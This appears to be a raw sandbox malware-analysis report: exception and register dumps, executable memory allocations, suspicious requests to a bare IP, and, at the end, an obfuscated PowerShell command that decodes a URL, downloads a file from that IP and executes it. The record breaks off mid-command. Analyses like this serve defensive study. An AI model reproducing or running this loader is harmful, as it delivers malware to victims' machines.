exception.instruction_r: cc 97 0d 6d fd 59 c7 85 55 02 00 00 5f 05 8a fc
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0xb417450
registers.esp: 100591604
registers.edi: 188737359
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840652
registers.ebx: 3332935398
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 75 0b 80 c3 48 1a 26 fd 12 55 69 53 3b fd a7 72
exception.instruction: jne 0xb417488
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0xb41747b
registers.esp: 100591596
registers.edi: 256
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840652
registers.ebx: 3332935398
registers.esi: 5127696
registers.ecx: 100591592
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 89 0f 87 9e 3b 3d ba 2c 83 e8 f4 7a 63 eb 79 a9
exception.instruction: mov dword ptr [edi], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0xb4174af
registers.esp: 100591600
registers.edi: 0
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840652
registers.ebx: 3332935398
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: cc 85 bf db eb cf 22 4a 25 20 52 4c e2 9f 73 cb
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0xb4174d0
registers.esp: 100591604
registers.edi: 188737359
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840652
registers.ebx: 3332935398
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 89 31 80 41 0d 90 7a df 31 ad 41 96 5e 59 85 20
exception.instruction: mov dword ptr [ecx], esi
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0xb417515
registers.esp: 100591600
registers.edi: 188737359
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840655
registers.ebx: 3332935398
registers.esi: 5127696
registers.ecx: 0
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: cc 9b 31 b4 2b bc b2 7f ce fb 89 9d 6d 02 00 00
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0xb3fea43
registers.esp: 100591608
registers.edi: 188737359
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840656
registers.ebx: 3332935398
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 89 19 81 df 06 6d 6a bb d4 90 09 65 f1 22 40 00
exception.instruction: mov dword ptr [ecx], ebx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0xb3fea6b
registers.esp: 100591604
registers.edi: 188737359
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840656
registers.ebx: 3332935398
registers.esi: 5127696
registers.ecx: 0
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 7e 02 97 4b 1a 00 39 c3 59 38 d0 5f 81 f3 4f 70
exception.instruction: jle 0xb3feaa1
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0xb3fea9d
registers.esp: 100591600
registers.edi: 256
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840656
registers.ebx: 2632772367
registers.esi: 5127696
registers.ecx: 100591596
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 89 3f 80 27 db d3 0c 0b 22 5e d9 e5 18 78 df 2a
exception.instruction: mov dword ptr [edi], edi
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0xb3feacd
registers.esp: 100591604
registers.edi: 0
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840656
registers.ebx: 1
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 89 17 98 f9 12 9d f3 2a 00 5f 53 8b 9d 6d 02 00
exception.instruction: mov dword ptr [edi], edx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0xb3feafd
registers.esp: 100591604
registers.edi: 0
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840656
registers.ebx: 1
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 70 0c 82 5a 27 c4 91 f9 f8 4f db 95 48 f2 b5 0d
exception.instruction: jo 0xb3feb4e
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0xb3feb40
registers.esp: 100591604
registers.edi: 188737359
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840656
registers.ebx: 100591600
registers.esi: 256
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: cc 9d 2e d1 99 65 0e 91 5a 5b 67 1e e8 9a 91 02
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0xb3feb65
registers.esp: 100591612
registers.edi: 188737359
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 1882627320
registers.ebx: 3332935398
registers.esi: 5127696
registers.ecx: 105840644
1 0 0

__exception__

stacktrace:
gapfnScSendMessage-0x15fc8 user32+0x0 @ 0x75840000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 89 3a 86 0d 77 04 2a 23 60 8d b8 c8 03 46 f2 6e
exception.instruction: mov dword ptr [edx], edi
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0xb3feb8e
registers.esp: 100591608
registers.edi: 188737359
registers.eax: 1972043038
registers.ebp: 100591612
registers.edx: 0
registers.ebx: 3902865387
registers.esi: 5127696
registers.ecx: 526
1 0 0

__exception__

stacktrace:
gapfnScSendMessage-0x15fc8 user32+0x0 @ 0x75840000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: cc 9b 23 14 f3 4d 85 8f a4 41 bf d1 7e cc 9f 81
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0xb3febac
registers.esp: 100591612
registers.edi: 188737359
registers.eax: 1972043038
registers.ebp: 100591612
registers.edx: 1971669752
registers.ebx: 3902865387
registers.esi: 5127696
registers.ecx: 526
1 0 0

__exception__

stacktrace:
gapfnScSendMessage-0x15fc8 user32+0x0 @ 0x75840000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: cc 9e e0 1f f5 20 c7 eb f2 21 e6 aa 90 a1 36 81
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0xb3febc7
registers.esp: 100591612
registers.edi: 138829197
registers.eax: 1972043038
registers.ebp: 100591612
registers.edx: 1971669752
registers.ebx: 3902865387
registers.esi: 5127696
registers.ecx: 526
1 0 0

__exception__

stacktrace:
gapfnScSendMessage-0x15fc8 user32+0x0 @ 0x75840000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: cc 9b 85 05 19 c8 cd c5 6a 0d 57 57 bf 6b 83 cf
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0xb3febdc
registers.esp: 100591612
registers.edi: 4096
registers.eax: 1972043038
registers.ebp: 100591612
registers.edx: 1971669752
registers.ebx: 3902865387
registers.esi: 5127696
registers.ecx: 526
1 0 0

__exception__

stacktrace:
gapfnScSendMessage-0x15fc8 user32+0x0 @ 0x75840000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 75 03 96 57 01 1d 00 39 c8 5a 66 39 c8 5f 8b bd
exception.instruction: jne 0xb3fec08
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0xb3fec03
registers.esp: 100591600
registers.edi: 256
registers.eax: 1972043038
registers.ebp: 100591612
registers.edx: 100591596
registers.ebx: 3902865387
registers.esi: 5127696
registers.ecx: 526
1 0 0

__exception__

stacktrace:
gapfnScSendMessage-0x15fc8 user32+0x0 @ 0x75840000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: cc 9b 3f ec a1 4b cb 60 f1 83 e8 c4 ab 02 00 89
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0xb3fec17
registers.esp: 100591608
registers.edi: 188737359
registers.eax: 1972043038
registers.ebp: 100591612
registers.edx: 1971669752
registers.ebx: 3902865387
registers.esi: 5127696
registers.ecx: 526
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: cc 96 e3 79 c6 f6 f2 ba 5c 98 4b 52 e8 d0 90 02
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0xb3fec2f
registers.esp: 100591612
registers.edi: 188737359
registers.eax: 105906176
registers.ebp: 100591612
registers.edx: 1971669752
registers.ebx: 3902865387
registers.esi: 5127696
registers.ecx: 1995838584
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 70 05 86 c8 3e f7 a8 07 76 0a d8 23 e0 69 8c 98
exception.instruction: jo 0xb3fec68
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0xb3fec61
registers.esp: 100591604
registers.edi: 256
registers.eax: 1995635656
registers.ebp: 100591612
registers.edx: 100591600
registers.ebx: 4017757903
registers.esi: 5127696
registers.ecx: 1688
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: cc 9f f5 e5 d6 39 5f 38 f3 58 b7 9c bf c1 57 bf
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0xb3fec84
registers.esp: 100591612
registers.edi: 188737359
registers.eax: 1995635656
registers.ebp: 100591612
registers.edx: 1995629985
registers.ebx: 4017757903
registers.esi: 5127696
registers.ecx: 1688
1 0 0
suspicious_features Connection to IP address suspicious_request HEAD http://109.206.240.67/xlog/Embus.sea
suspicious_features Connection to IP address suspicious_request GET http://109.206.240.67/xlog/Embus.sea
suspicious_features Connection to IP address suspicious_request GET http://109.206.240.67/xlog/imZdjzBNviOCSMAcujoQo182.emz
suspicious_features GET method with no useragent header suspicious_request GET http://geoplugin.net/json.gp
request HEAD http://109.206.240.67/xlog/Embus.sea
request GET http://109.206.240.67/xlog/Embus.sea
request GET http://109.206.240.67/xlog/imZdjzBNviOCSMAcujoQo182.emz
request GET http://geoplugin.net/json.gp
domain xlongactive.su description Soviet Union domain TLD
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 524288
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02750000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02790000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1728
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0276a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1728
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02762000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02772000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02791000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02792000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027da000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02773000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02774000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0276b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02775000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027dc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a90000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02776000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05030000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05031000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05032000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05033000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05034000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05035000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05036000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05037000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05038000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05039000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05040000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05041000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05042000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05043000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1728
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05044000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) 